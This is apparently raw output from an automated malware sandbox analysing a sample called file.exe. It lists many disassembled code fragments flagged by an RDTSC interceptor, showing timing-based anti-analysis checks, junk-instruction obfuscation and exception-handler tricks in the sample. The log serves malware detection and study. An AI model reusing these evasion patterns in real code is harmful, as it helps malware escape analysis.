Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5771 second address: 5A5781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F6E0453100Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7BC2 second address: 5A7BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5781 second address: 5A578D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6E0453100Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8C27 second address: 5A8C2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8C2B second address: 5A8C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E04531015h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8CE2 second address: 5A8CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7D24 second address: 5A7D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8CE6 second address: 5A8CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7D2A second address: 5A7D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531015h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F6E0453100Eh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8CEC second address: 5A8CF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7E09 second address: 5A7E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7E0D second address: 5A7E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E39 second address: 5A8E3F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E3F second address: 5A8E49 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E04C712CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E49 second address: 5A8E55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E55 second address: 5A8E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8E5A second address: 5A8F00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6E0453100Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F6E0453100Dh 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr [ebp+122D1A89h], edx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F6E04531008h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 0000001Dh 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 mov dword ptr [ebp+122DB302h], edx 0x00000047 push eax 0x00000048 jmp 00007F6E04531011h 0x0000004d pop edi 0x0000004e mov eax, dword ptr [ebp+122D1661h] 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ecx 0x00000059 call 00007F6E04531008h 0x0000005e pop ecx 0x0000005f mov dword ptr [esp+04h], ecx 0x00000063 add dword ptr [esp+04h], 0000001Bh 0x0000006b inc ecx 0x0000006c push ecx 0x0000006d ret 0x0000006e pop ecx 0x0000006f ret 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A8F00 second address: 5A8F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE093 second address: 5AE097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE14D second address: 5AE161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E04C712D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B018A second address: 5B01DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6E04531010h 0x0000000d nop 0x0000000e jp 00007F6E04531020h 0x00000014 pushad 0x00000015 call 00007F6E04531017h 0x0000001a pop eax 0x0000001b popad 0x0000001c push 00000000h 0x0000001e xor ebx, dword ptr [ebp+122D3865h] 0x00000024 mov edi, ebx 0x00000026 push 00000000h 0x00000028 sub bl, FFFFFF8Dh 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f ja 00007F6E04531006h 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B2125 second address: 5B2129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0315 second address: 5B0319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0319 second address: 5B031D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B031D second address: 5B0339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F6E0453100Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B22B4 second address: 5B232D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6E04C712D2h 0x0000000c pop edx 0x0000000d nop 0x0000000e add di, 86A6h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F6E04C712C8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 pushad 0x00000035 mov di, dx 0x00000038 call 00007F6E04C712CAh 0x0000003d pop edi 0x0000003e popad 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 or edi, dword ptr [ebp+122D37F5h] 0x0000004c mov eax, dword ptr [ebp+122D0535h] 0x00000052 mov edi, 226A9DB2h 0x00000057 push FFFFFFFFh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c js 00007F6E04C712C8h 0x00000062 push edx 0x00000063 pop edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B232D second address: 5B2337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F6E04531006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B605E second address: 5B60DA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6E04C712C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F6E04C712C8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 sub edi, dword ptr [ebp+122D3468h] 0x0000002d clc 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D32CBh], ebx 0x00000036 mov bx, 5370h 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push edi 0x0000003f call 00007F6E04C712C8h 0x00000044 pop edi 0x00000045 mov dword ptr [esp+04h], edi 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc edi 0x00000052 push edi 0x00000053 ret 0x00000054 pop edi 0x00000055 ret 0x00000056 mov edi, edx 0x00000058 xchg eax, esi 0x00000059 pushad 0x0000005a jmp 00007F6E04C712CDh 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 pop eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31F2 second address: 5B31F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31F6 second address: 5B31FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B31FA second address: 5B3284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 clc 0x00000009 push dword ptr fs:[00000000h] 0x00000010 mov dword ptr [ebp+122D3302h], esi 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F6E04531008h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D382Dh] 0x0000003d jmp 00007F6E0453100Eh 0x00000042 mov eax, dword ptr [ebp+122D0CF9h] 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b call 00007F6E04531008h 0x00000050 pop esi 0x00000051 mov dword ptr [esp+04h], esi 0x00000055 add dword ptr [esp+04h], 00000018h 0x0000005d inc esi 0x0000005e push esi 0x0000005f ret 0x00000060 pop esi 0x00000061 ret 0x00000062 adc bh, 00000043h 0x00000065 push FFFFFFFFh 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b jbe 00007F6E04531006h 0x00000071 pop esi 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3284 second address: 5B328E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6E04C712C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B62BC second address: 5B62C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B62C5 second address: 5B62C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE0A9 second address: 5BE0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE0B1 second address: 5BE0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD999 second address: 5BD99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BD99D second address: 5BD9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C197D second address: 3E8A10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 6938A587h 0x0000000d cmc 0x0000000e push dword ptr [ebp+122D0C0Dh] 0x00000014 jp 00007F6E04531007h 0x0000001a call dword ptr [ebp+122D2A4Fh] 0x00000020 pushad 0x00000021 cmc 0x00000022 xor eax, eax 0x00000024 jmp 00007F6E04531012h 0x00000029 mov edx, dword ptr [esp+28h] 0x0000002d je 00007F6E0453101Bh 0x00000033 mov dword ptr [ebp+122D35C1h], eax 0x00000039 stc 0x0000003a jmp 00007F6E04531019h 0x0000003f mov esi, 0000003Ch 0x00000044 jp 00007F6E0453100Ch 0x0000004a jmp 00007F6E0453100Eh 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jmp 00007F6E0453100Ch 0x00000058 pushad 0x00000059 jmp 00007F6E04531018h 0x0000005e or dword ptr [ebp+122D32EEh], edx 0x00000064 popad 0x00000065 lodsw 0x00000067 stc 0x00000068 add dword ptr [ebp+122D32EEh], esi 0x0000006e add eax, dword ptr [esp+24h] 0x00000072 pushad 0x00000073 push ecx 0x00000074 or ax, 4590h 0x00000079 pop eax 0x0000007a mov dword ptr [ebp+122D2EF2h], edx 0x00000080 popad 0x00000081 mov ebx, dword ptr [esp+24h] 0x00000085 jmp 00007F6E0453100Ah 0x0000008a nop 0x0000008b pushad 0x0000008c push edx 0x0000008d pushad 0x0000008e popad 0x0000008f pop edx 0x00000090 push eax 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56195C second address: 561960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7186 second address: 5C718A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7317 second address: 5C731E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C731E second address: 5C7323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7323 second address: 5C7329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C743C second address: 5C744B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6E04531006h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C744B second address: 5C745A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7727 second address: 5C772B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C772B second address: 5C7740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E04C712CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C7740 second address: 5C7749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C90CF second address: 5C90D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C90D5 second address: 5C90E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 jp 00007F6E0453100Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA6D4 second address: 5CA6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA6DA second address: 5CA6DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA6DE second address: 5CA6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA6E4 second address: 5CA713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jg 00007F6E0453100Ah 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F6E04531011h 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CA713 second address: 5CA719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD8A9 second address: 5CD8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F6E04531006h 0x0000000e js 00007F6E04531006h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A7D3 second address: 59A7E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b je 00007F6E04C712C6h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A7E5 second address: 57F008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04531016h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, dword ptr [ebp+122D2C52h] 0x00000010 lea eax, dword ptr [ebp+124854FBh] 0x00000016 add dx, 117Fh 0x0000001b nop 0x0000001c jmp 00007F6E04531016h 0x00000021 push eax 0x00000022 je 00007F6E04531013h 0x00000028 jmp 00007F6E0453100Dh 0x0000002d nop 0x0000002e mov dl, F0h 0x00000030 call dword ptr [ebp+122D290Bh] 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pushad 0x0000003a popad 0x0000003b pop ebx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AECA second address: 59AEF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6E04C712C6h 0x00000009 jmp 00007F6E04C712D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B05E second address: 59B08E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E04531006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F6E0453100Eh 0x00000010 jmp 00007F6E0453100Ah 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jng 00007F6E04531006h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B08E second address: 59B094 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B886 second address: 59B88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B88A second address: 59B8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D293Fh], edx 0x00000010 push 0000001Eh 0x00000012 mov dword ptr [ebp+122D181Eh], edi 0x00000018 nop 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F6E04C712DDh 0x00000021 jmp 00007F6E04C712D7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B8C2 second address: 59B8C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59BB14 second address: 59BB1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDB9D second address: 5CDBA3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBA3 second address: 5CDBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E04C712D7h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE1C1 second address: 5CE1CE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6E04531006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4214 second address: 5D4238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F6E04C712D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4238 second address: 5D423C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D423C second address: 5D4252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E04C712D0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4252 second address: 5D4257 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D461C second address: 5D4621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4621 second address: 5D4652 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6E0453102Bh 0x00000008 jmp 00007F6E04531018h 0x0000000d jmp 00007F6E0453100Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4652 second address: 5D465C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6E04C712C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3CB8 second address: 5D3CC2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6E04531006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3CC2 second address: 5D3CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D3CC7 second address: 5D3CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D492E second address: 5D4956 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E04C712CAh 0x00000007 jg 00007F6E04C712E0h 0x0000000d jmp 00007F6E04C712D4h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4956 second address: 5D496B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E0453100Ah 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
